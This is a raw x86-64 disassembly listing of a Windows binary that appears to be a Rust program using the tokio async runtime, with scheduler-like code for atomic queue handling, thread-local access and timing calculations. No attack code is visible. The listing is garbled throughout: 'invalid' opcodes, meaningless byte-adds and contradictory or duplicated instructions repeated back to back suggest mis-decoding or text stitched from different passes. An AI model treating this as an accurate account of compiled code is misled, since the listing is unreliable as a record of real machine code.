movapd xmmword [rsp + 0x1a0], xmm11
movaps xmmword [rsp + 0x1a0], xmm3
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x190], xmm2
movapd xmmword [rsp + 0x190], xmm10
movdqa xmmword [rsp + 0x180], xmm9
movaps xmmword [rsp + 0x170], xmm8
add byte [rax], al
add byte [rax], al
movapd xmmword [rsp + 0x160], xmm7
movaps xmmword [rsp + 0x160], xmm7
movapd xmmword [rsp + 0x150], xmm6
mov rbx, rcx
mov rax, qword [rcx]
jmp 0x1400f075a
invalid
and cl, byte [rdi]
invalid
nop dword [rax + rax]
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
ret 0xeac0
invalid
ret 0xeac0
and dl, 1
lock cmpxchg qword [rbx], rcx
je 0x1400f0785
test al, 4
je 0x1400f2471
test al, 3
je 0x1400f0740
cmp rax, 0x3f
jbe 0x1400f2489
clc
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rbx], rcx
cmpxchg dword [rbx], ecx
cmpxchg dword [rbx], ecx
jne 0x1400f075a
movzx eax, dl
lea rcx, [0x140179968]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp dword [rbx + 0x28], 2
jne 0x1400f2557
mov rdi, qword [rbx + 0x20]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f0800
test eax, eax
jne 0x1400f0956
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, rbx
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
mov edx, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffff383f
mov edx, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffff383f
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov rbx, rsi
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm8, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], al
adc byte [rax + 0xf0], al
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
mov rax, qword [rbx + 0x30]
mov qword [rbx + 0x30], 0
test rax, rax
je 0x1400f258f
invalid
add byte [rax], al
invalid
sbb eax, 0xd8b0000
int3
add byte [rbx + 0x91acc0d], cl
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], 0
jmp 0x1400f096f
movaps xmm6, xmmword [rsp + 0x150]
movaps xmm7, xmmword [rsp + 0x160]
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x160], bh
add byte [rax], al
add byte [rax], al
movaps xmm8, xmmword [rsp + 0x170]
movaps xmm9, xmmword [rsp + 0x180]
movaps xmm10, xmmword [rsp + 0x190]
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0xa0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
sub byte [rsp + 0x1c0], ch
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0xa0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
sub byte [rsp + 0x1c0], ch
invalid
invalid
invalid
sub byte [rsp + 0x1c0], ch
add rsp, 0x1d8
pop rbx
pop rbp
add dword [rax], eax
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rbx
movaps xmm6, xmmword [rsp + 0x150]
movaps xmm7, xmmword [rsp + 0x160]
movaps xmm8, xmmword [rsp + 0x170]
sub byte [rsp + 0x170], al
sub byte [rsp + 0x170], al
movaps xmm9, xmmword [rsp + 0x180]
movaps xmm10, xmmword [rsp + 0x190]
movaps xmm11, xmmword [rsp + 0x1a0]
pushfq
and al, 0xa0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movaps xmm5, xmmword [rsp + 0x1c0]
pushfq
and al, 0xa0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movaps xmm5, xmmword [rsp + 0x1c0]
invalid
invalid
invalid
movaps xmm5, xmmword [rsp + 0x1c0]
add rsp, 0x1d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x1400f29c0
lea rdi, [rbx + 0x20]
mov qword [rsp + 0x40], 4
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400f2a70
mov rax, qword [rbx + 0x20]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x58], rax
jmp 0x1400f237c
mov rax, qword [rbx + 0x30]
mov qword [rbx + 0x30], 0
xorps xmm8, xmm8
test rax, rax
je 0x1400f258f
mov qword [rsp + 0xa0], rax
xor esi, esi
xchg qword [rax + 0x20], rsi
test rsi, rsi
je 0x1400f0a80
mov r14, qword [rsp + 0xa0]
mov r15, qword [r14 + 0x10]
lock inc qword [r15]
jle 0x1400f2555
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0xe8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f0a04
test eax, eax
jne 0x1400f26c0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov qword [rsp + 0xe0], rbx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
jne 0x1400f25a7
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
mov byte [rdi + 0x11e], 1
lea rcx, [r15 + 0x1d0]
call fcn.1400eaff0
mov ebx, eax
mov ebp, edx
cmp dword [rdi + 0x110], 0
je 0x1400f0aa4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x118]
mov eax, dword [rax + 0x114]
jmp 0x1400f0aa9
mov rax, qword [rsp + 0xa0]
lock dec qword [rax]
jne 0x1400f22df
lea rcx, [rsp + 0xa0]
call fcn.1400eaf90
jmp 0x1400f22df
call fcn.1400e3e70
mov ecx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov dword [rcx + 0x110], 1
mov dword [rcx + 0x114], ebx
mov dword [rcx + 0x118], ebp
cmp qword [rcx + 0xd0], 0
jne 0x1400f25de
mov ecx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov qword [rcx + 0xd0], 0xffffffffffffffff
lock inc qword [r15]
jle 0x1400f2555
mov ecx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov r9, qword [r8 + rcx*8]
mov rcx, qword [r9 + 0xd8]
mov r8, qword [r9 + 0xe0]
mov qword [r9 + 0xd8], 1
mov qword [r9 + 0xe0], r15
inc qword [r9 + 0xd0]
mov r9, qword [r9 + 0xe8]
cmp r9, 0xffffffffffffffff
je 0x1400f25ea
inc r9
mov r10d, dword [0x140182314]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xe8], r9
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], r8
mov qword [rsp + 0x108], r9
mov dword [rsp + 0x110], eax
mov dword [rsp + 0x114], edx
mov qword [rsp + 0x48], r14
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x50], xmm0
movupd xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 8
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x40], 1
movzx eax, byte [r10 + 0x120]
test eax, eax
je 0x1400f0c0c
cmp eax, 1
jne 0x1400f26b8
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x108]
mov qword [rsp + 0xd8], rcx
lea rcx, [rsp + 0x40]
mov qword [rax + 0x108], rcx
jmp 0x1400f0c54
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov rax, qword [rdi + 0x108]
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x40]
mov qword [rdi + 0x108], rax
mov rax, qword [r14 + 0x10]
movzx eax, byte [rax + 0x50]
xor al, 1
mov byte [rsi + 0x48], al
call fcn.1400df770
mov qword [rsi + 0x30], rax
mov dword [rsi + 0x38], edx
mov qword [rsi + 0x20], 0
cmp byte [rsi + 0x4a], 0
je 0x1400f1306
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x98], rax
mov r15, qword [rax + 0x10]
mov rax, qword [r15 + 0x80]
lea rcx, [rax + 1]
mov edx, dword [rsi + 0x10]
mov r8d, dword [rsi + 0x14]
mov r9d, edx
shl r9d, 0x11
xor r9d, edx
mov edx, r8d
shr edx, 0x10
xor edx, r8d
xor edx, r9d
shr r9d, 7
xor r9d, edx
mov dword [rsi + 0x10], r8d
mov dword [rsi + 0x14], r9d
add r9d, r8d
mov r12d, ecx
imul r12, r9
shr r12, 0x20
mov byte [r15 + 0x90], 1
lea r13, [r12 + rax]
inc r13
cmp r13, r12
jbe 0x1400f0de1
xor ebp, ebp
mov r14b, 1
jmp 0x1400f0d17
mov rdi, rcx
mov rcx, rbx
call fcn.14010b250
mov rcx, rdi
test rcx, rcx
je 0x1400f0dbc
nop dword [rax + rax]
mov rax, qword [rcx + 0x10]
call qword [rax + 0x30]
mov rcx, qword [r15 + 0x68]
mov rax, qword [r15 + 0x80]
and rax, r12
lea rdx, [rax + rax*2]
lea rbx, [rcx + rdx*8]
xor eax, eax
lock cmpxchg byte [rcx + rdx*8], r14b
jne 0x1400f0dca
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400f0da6
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
mov rdx, qword [rcx + rax]
mov qword [rbx + 0x10], rdx
test rdx, rdx
je 0x1400f0d80
mov rax, qword [rdx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rdx + rax + 8], 0
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
jmp 0x1400f0d88
mov qword [rbx + 8], 0
mov qword [rcx + rax], 0
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rcx + rax + 8], 0
lock dec qword [r15 + 0x78]
mov al, 1
lock cmpxchg byte [rbx], bpl
jne 0x1400f0cf4
test rcx, rcx
jne 0x1400f0d10
inc r12
cmp r12, r13
jne 0x1400f0d17
jmp 0x1400f0de1
mov rcx, rbx
call fcn.14010b5f0
mov rcx, qword [rbx + 0x10]
test rcx, rcx
jne 0x1400f0d44
jmp 0x1400f0da6
mov rcx, qword [rsp + 0x98]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
mov rdx, qword [rax + 0xa0]
cmp rcx, rdx
jae 0x1400f2459
mov rax, qword [rsp + 0x48]
mov rbx, qword [rax + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0xf8], cl
jne 0x1400f23ea
mov rax, qword [rbx + 0x110]
cmp rax, qword [rbx + 0x100]
jne 0x1400f0e3f
lea rcx, [rbx + 0x100]
call fcn.1400eac90
mov rax, qword [rbx + 0x110]
mov rcx, qword [rbx + 0x108]
mov qword [rcx + rax*8], rsi
inc rax
mov qword [rbx + 0x110], rax
cmp rax, qword [rbx + 0x60]
jne 0x1400f1161
mov qword [rbx + 0x110], 0
test rax, rax
je 0x1400f104e
mov r13, qword [rbx + 0x108]
lea rbp, [rax*8]
add rbp, r13
lea rsi, [rbx + 0x118]
movabs r14, 0xffffffff00000000
jmp 0x1400f0eb1
mov r15, qword [r13]
mov rax, qword [r15 + 8]
mov qword [r15 + 8], 0
test rax, rax
je 0x1400f253d
add r13, 8
mov qword [rsp + 0x88], rax
nop word cs:[rax + rax]
mov rcx, qword [r15]
mov rdx, qword [r15 + 0x18]
mov qword [r15], 0
test rcx, rcx
jne 0x1400f0f8e
mov rax, qword [rdx + 0x18]
mov r8, rax
shr r8, 0x20
mov dword [rsp + 0x3c], r8d
mov ecx, dword [rdx + 0x20]
cmp ecx, eax
je 0x1400f0fc0
mov rcx, rax
jmp 0x1400f0f50
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400f24cb
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400f0ee0
mov r12, qword [rsp + 0x88]
mov rdi, qword [r12 + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdi + 0x50], cl
jne 0x1400f1020
mov rax, qword [rbx + 0xa8]
test rax, rax
je 0x1400f1161
xor r14d, r14d
mov bpl, 1
lea rdi, [rbx + 0xc0]
jmp 0x1400f1080
xor eax, eax
lock cmpxchg byte [rbx + 0xc0], bpl
jne 0x1400f1154
mov rax, qword [rbx + 0xa8]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [rbx + 0xa8], rdx
test rax, rax
je 0x1400f1110
mov rcx, rdi
call fcn.14010b5f0
jmp 0x1400f1091
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rbx + 0xf8], cl
jne 0x1400f240f
cmp qword [rsp + 0x60], 0
jne 0x1400f11c7
lea rdi, [rsp + 0xf0]
lea rbx, [rsp + 0x100]
nop dword [rax + rax]
mov qword [rsp + 0x60], 0xffffffffffffffff
mov rax, qword [rsp + 0x78]
test rax, rax
je 0x1400f11d3
dec rax
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x70]
shl rax, 4
mov rdx, qword [rcx + rax]
mov rcx, qword [rcx + rax + 8]
call qword [rdx + 8]
inc qword [rsp + 0x60]
je 0x1400f1190
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.140108820
mov qword [rsp + 0x60], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
mov rax, qword [rsp + 0xd8]
mov qword [rsi + 0x108], rax
lea rcx, [rsp + 0x40]
call fcn.1400ebd70
movsd xmm6, qword [rsp + 0x110]
movzx eax, byte [rsi + 0x120]
cmp eax, 1
je 0x1400f1252
test eax, eax
jne 0x1400f26c0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
je 0x1400f2621
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11e], 2
cmp dword [rax + 0x110], 0
jne 0x1400f129a
lea r12, [rsp + 0x48]
movdqa xmm9, xmmword [0x1401136d0]
movapd xmm10, xmmword [0x1401136e0]
movsd xmm6, qword [0x140113ac0]
movsd xmm11, qword [0x140113ac8]
movsd xmm12, qword [0x140113ad0]
movsd xmm13, qword [0x140113ad8]
jmp 0x1400f137a
mov rcx, r12
mov rdx, rsi
xor r8d, r8d
call fcn.1400eb3f0
mov rsi, rax
call fcn.1400df770
mov qword [rsi + 0x30], rax
mov dword [rsi + 0x38], edx
mov qword [rsi + 0x20], 0
nop word [rax + rax]
cmp byte [rsi + 0x4a], 0
jne 0x1400f0c7f
mov eax, dword [rsi + 0x40]
inc eax
mov dword [rsi + 0x40], eax
mov r15, qword [rsp + 0x48]
mov rcx, qword [r15 + 0x10]
mov ecx, dword [rcx + 0x40]
test ecx, ecx
je 0x1400f2435
xor edx, edx
div ecx
test edx, edx
jne 0x1400f14f9
mov rbx, qword [rsi + 0x20]
test rbx, rbx
je 0x1400f1471
call fcn.1400df770
mov r9, qword [rsi + 0x30]
mov r8d, dword [rsi + 0x38]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xb0], edx
lea rcx, [rsp + 0xa8]
mov rdx, r9
call fcn.1400d5b50
mov ecx, edx
mov edx, 0x3b9aca00
mul rdx
cmp ecx, 0x3b9aca00
mov r8d, 0
cmove ecx, r8d
cmove rdx, r8
cmove rax, r8
add rcx, rax
adc rdx, 0
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], rdx
lea rcx, [rsp + 0x140]
call fcn.140101e10
movapd xmm7, xmm0
movq xmm0, rbx
punpckldq xmm0, xmm9
subpd xmm0, xmm10
movapd xmm1, xmm0
unpckhpd xmm1, xmm0
addsd xmm1, xmm0
divsd xmm7, xmm1
movapd xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movapd xmm1, xmm11
subsd xmm1, xmm0
mulsd xmm7, xmm1
movapd xmm0, xmm11
subsd xmm0, xmm1
mulsd xmm0, qword [rsi + 0x28]
addsd xmm0, xmm7
movsd qword [rsi + 0x28], xmm0
mov rcx, r12
mov rdx, rsi
xor r8d, r8d
call fcn.1400eb3f0
mov rsi, rax
mov rax, qword [rsp + 0x48]
mov r13, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rdx, qword [r13 + 0xa0]
cmp rdx, rcx
jbe 0x1400f244d
cmp byte [rsi + 0x4a], 0
jne 0x1400f14d6
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1ecf
movzx eax, byte [r13 + 0xf0]
mov byte [rsi + 0x4a], al
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1ee0
cmp byte [rsi + 0x4b], 0
jne 0x1400f14e0
mov byte [rsi + 0x4b], 0
call fcn.1400df770
mov qword [rsi + 0x30], rax
mov dword [rsi + 0x38], edx
mov qword [rsi + 0x20], 0
mov r15, qword [rsp + 0x48]
mov ecx, dword [rsi + 0x44]
test ecx, ecx
je 0x1400f2441
mov eax, dword [rsi + 0x40]
xor edx, edx
div ecx
test edx, edx
je 0x1400f15a0
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x18]
mov qword [rsi], 0
test rdx, rdx
jne 0x1400f19b0
mov rax, qword [r8 + 0x18]
mov rdx, rax
shr rdx, 0x20
mov dword [rsp + 0x38], edx
mov ecx, dword [r8 + 0x20]
cmp ecx, eax
jne 0x1400f176a
mov rax, qword [r15 + 0x10]
mov rax, qword [rax + 0xa8]
test rax, rax
je 0x1400f19cc
mov rax, qword [rsi + 0x18]
mov r8, qword [rax + 0x18]
mov ecx, dword [rax + 0x20]
mov rax, qword [r15 + 0x10]
mov rax, qword [rax + 0xa8]
mov r13, qword [r15 + 0x10]
mov r9, qword [r13 + 0x60]
test r9, r9
je 0x1400f2465
mov rdx, rax
or rdx, r9
shr rdx, 0x20
je 0x1400f17f6
xor edx, edx
div r9
mov rbp, rax
jmp 0x1400f17fd
mov r13, qword [r15 + 0x10]
cmp dword [r13 + 0x10], 0
je 0x1400f15b1
mov eax, dword [r13 + 0x14]
jmp 0x1400f15e7
movapd xmm0, xmm12
divsd xmm0, qword [rsi + 0x28]
xorpd xmm1, xmm1
maxsd xmm1, xmm0
movapd xmm0, xmm13
minsd xmm0, xmm1
cvttsd2si rax, xmm0
cmp eax, 0x7f
mov edx, 0x7f
cmovae eax, edx
cmp eax, 3
mov edx, 2
cmovb eax, edx
mov edx, eax
sub edx, ecx
neg edx
mov r8d, eax
sub r8d, ecx
cmovb r8d, edx
cmp r8d, 3
jb 0x1400f1600
mov dword [rsi + 0x44], eax
mov rax, qword [r13 + 0xa8]
test rax, rax
je 0x1400f16bc
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1ebe
mov rax, qword [r13 + 0xa8]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [r13 + 0xa8], rdx
test rax, rax
je 0x1400f16a2
mov rdx, qword [r13 + 0xe0]
test rdx, rdx
je 0x1400f16a2
mov rax, qword [rdx + 8]
mov qword [r13 + 0xe0], rax
test rax, rax
jne 0x1400f166b
mov qword [r13 + 0xe8], 0
mov qword [rdx + 8], 0
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
je 0x1400f16b3
add r13, 0xc0
mov rcx, r13
mov rdi, rdx
call fcn.14010b250
mov rdx, rdi
test rdx, rdx
jne 0x1400f19b0
jmp 0x1400f16bc
xor edx, edx
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1682
test rdx, rdx
jne 0x1400f19b0
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x18]
mov qword [rsi], 0
test rdx, rdx
jne 0x1400f19b0
mov rax, qword [r8 + 0x18]
mov rdx, rax
shr rdx, 0x20
mov dword [rsp + 0x38], edx
mov ecx, dword [r8 + 0x20]
cmp ecx, eax
je 0x1400f19cc
mov rcx, rax
nop word cs:[rax + rax]
lea r9d, [rax + 1]
mov dword [rsp + 0x88], r9d
cmp edx, eax
jne 0x1400f1720
mov eax, r9d
mov rdx, rax
shl rdx, 0x20
jmp 0x1400f173c
cmp r9d, edx
je 0x1400f2510
mov eax, r9d
mov rdx, rcx
movabs r9, 0xffffffff00000000
and rdx, r9
or rdx, rax
mov rax, rcx
lock cmpxchg qword [r8 + 0x18], rdx
je 0x1400f1e54
mov rdx, rax
shr rdx, 0x20
mov dword [rsp + 0x38], edx
mov r9d, dword [r8 + 0x20]
mov rcx, rax
cmp r9d, eax
jne 0x1400f1700
jmp 0x1400f19cc
mov rcx, rax
jmp 0x1400f17a3
mov eax, r9d
mov rdx, rax
shl rdx, 0x20
or rdx, rax
mov rax, rcx
lock cmpxchg qword [r8 + 0x18], rdx
je 0x1400f17dd
mov rdx, rax
shr rdx, 0x20
mov dword [rsp + 0x38], edx
mov r9d, dword [r8 + 0x20]
mov rcx, rax
cmp r9d, eax
je 0x1400f1545
lea r9d, [rax + 1]
mov dword [rsp + 0x88], r9d
cmp edx, eax
je 0x1400f1770
cmp r9d, edx
je 0x1400f2510
mov eax, r9d
mov rdx, rcx
movabs r9, 0xffffffff00000000
and rdx, r9
or rdx, rax
mov rax, rcx
lock cmpxchg qword [r8 + 0x18], rdx
jne 0x1400f1788
movzx eax, cl
mov rcx, qword [r8 + 0x10]
mov rdx, qword [rcx + rax*8]
test rdx, rdx
jne 0x1400f19b0
jmp 0x1400f1545
xor edx, edx
div r9d
mov ebp, eax
shr r8, 0x20
sub ecx, r8d
mov eax, 0x100
sub rax, rcx
inc rbp
cmp rax, rbp
cmovb rbp, rax
cmp rbp, 0x80
mov eax, 0x80
cmovae rbp, rax
cmp rbp, 1
adc rbp, 0
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1efe
mov rax, qword [r15 + 0x10]
mov rcx, qword [rax + 0xa8]
cmp rbp, rcx
cmovae rbp, rcx
mov rdx, rcx
sub rdx, rbp
mov qword [rax + 0xa8], rdx
test rcx, rcx
je 0x1400f198a
mov rdx, qword [r13 + 0xe0]
test rdx, rdx
je 0x1400f1898
mov rax, qword [rdx + 8]
mov qword [r13 + 0xe0], rax
test rax, rax
jne 0x1400f1890
mov qword [r13 + 0xe8], 0
mov qword [rdx + 8], 0
dec rbp
je 0x1400f198c
mov r15, qword [rsi + 0x18]
mov rax, qword [r15 + 0x18]
shr rax, 0x20
mov ebx, dword [r15 + 0x20]
mov ecx, ebx
sub ecx, eax
mov eax, 0x100
sub eax, ebp
cmp ecx, eax
ja 0x1400f26e9
mov rax, qword [r13 + 0xe0]
jmp 0x1400f18f7
xor edx, edx
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1f0f
test rdx, rdx
je 0x1400f19cc
nop word cs:[rax + rax]
mov rcx, r12
mov r8, rsi
call fcn.1400eb8f0
mov rsi, rax
test rax, rax
jne 0x1400f1370
jmp 0x1400f1173
mov rbx, qword [rsi + 0x20]
test rbx, rbx
je 0x1400f1a9b
call fcn.1400df770
mov r9, qword [rsi + 0x30]
mov r8d, dword [rsi + 0x38]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xb0], edx
lea rcx, [rsp + 0xa8]
mov rdx, r9
call fcn.1400d5b50
mov ecx, edx
mov edx, 0x3b9aca00
mul rdx
cmp ecx, 0x3b9aca00
mov r8d, 0
cmove ecx, r8d
cmove rdx, r8
cmove rax, r8
add rcx, rax
adc rdx, 0
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rdx
lea rcx, [rsp + 0x130]
call fcn.140101e10
movapd xmm7, xmm0
movq xmm0, rbx
punpckldq xmm0, xmm9
subpd xmm0, xmm10
movapd xmm1, xmm0
unpckhpd xmm1, xmm0
addsd xmm1, xmm0
divsd xmm7, xmm1
movapd xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movapd xmm1, xmm11
subsd xmm1, xmm0
mulsd xmm7, xmm1
movapd xmm0, xmm11
subsd xmm0, xmm1
mulsd xmm0, qword [rsi + 0x28]
addsd xmm0, xmm7
movsd qword [rsi + 0x28], xmm0
mov r8, qword [rsp + 0x48]
cmp byte [rsi + 0x49], 0
jne 0x1400f1acf
mov rax, qword [r8 + 0x10]
mov rcx, qword [rax + 0xb0]
movzx ecx, cx
add ecx, ecx
cmp rcx, qword [rax + 0xb8]
jae 0x1400f1dc5
lock inc qword [rax + 0xb0]
mov byte [rsi + 0x49], 1
mov r13, qword [r8 + 0x10]
mov r9, qword [r13 + 0x60]
mov edx, dword [rsi + 0x10]
mov ecx, dword [rsi + 0x14]
mov eax, edx
shl eax, 0x11
xor eax, edx
mov edx, ecx
shr edx, 0x10
xor edx, ecx
xor edx, eax
shr eax, 7
xor eax, edx
mov dword [rsi + 0x10], ecx
mov dword [rsi + 0x14], eax
test r9, r9
je 0x1400f1d17
add eax, ecx
mov r10d, r9d
imul r10, rax
shr r10, 0x20
xor r11d, r11d
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x118], r8
mov qword [rsp + 0x120], r10
jmp 0x1400f1b4c
inc r11
cmp r11, r9
je 0x1400f1d13
lea rax, [r11 + r10]
mov rcx, rax
or rcx, r9
shr rcx, 0x20
je 0x1400f1b70
xor edx, edx
div r9
cmp rdx, qword [r8 + 0x18]
je 0x1400f1b40
jmp 0x1400f1b7b
xor edx, edx
div r9d
cmp rdx, qword [r8 + 0x18]
je 0x1400f1b40
mov rcx, qword [r8 + 0x10]
mov rax, qword [rcx + 0x60]
cmp rdx, rax
jae 0x1400f2423
mov rax, qword [rcx + 0x58]
mov r13, qword [rsi + 0x18]
mov r15d, dword [r13 + 0x20]
mov rcx, qword [r13 + 0x18]
shr rcx, 0x20
mov edi, r15d
sub edi, ecx
cmp edi, 0x80
ja 0x1400f1b40
shl rdx, 4
mov rdx, qword [rax + rdx]
mov rax, qword [rdx + 0x18]
nop dword [rax]
mov rbp, rax
shr rbp, 0x20
mov r14d, dword [rdx + 0x20]
cmp ebp, eax
jne 0x1400f1b40
sub r14d, ebp
mov ecx, r14d
shr ecx, 1
sub r14d, ecx
je 0x1400f1b40
lea ebx, [r14 + rbp]
mov rcx, rbp
shl rcx, 0x20
or rcx, rbx
lock cmpxchg qword [rdx + 0x18], rcx
jne 0x1400f1bc0
mov qword [rsp + 0x98], r15
mov dword [rsp + 0x3c], r14d
cmp r14d, 0x80
ja 0x1400f2645
mov r13, qword [r8 + 0x10]
mov rax, qword [r13 + 0xa8]
test rax, rax
je 0x1400f1dc9
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1f29
mov rax, qword [r13 + 0xa8]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [r13 + 0xa8], rdx
test rax, rax
je 0x1400f1d8c
mov rbp, qword [r13 + 0xe0]
test rbp, rbp
je 0x1400f1d8c
mov rax, qword [rbp + 8]
mov qword [r13 + 0xe0], rax
test rax, rax
jne 0x1400f1d82
mov qword [r13 + 0xe8], 0
mov qword [rbp + 8], 0
jmp 0x1400f1d8e
xor ebp, ebp
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1f3a
test rbp, rbp
je 0x1400f1dc9
call fcn.1400df770
mov qword [rsi + 0x30], rax
mov dword [rsi + 0x38], edx
mov qword [rsi + 0x20], 0
mov rcx, r12
mov rdx, rbp
jmp 0x1400f19b3
mov byte [rsi + 0x49], 0
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x60], rax
jae 0x1400f2639
cmp qword [rsp + 0x78], 0
jne 0x1400f1342
mov rbx, qword [rsp + 0x48]
mov rcx, qword [rbx + 0x10]
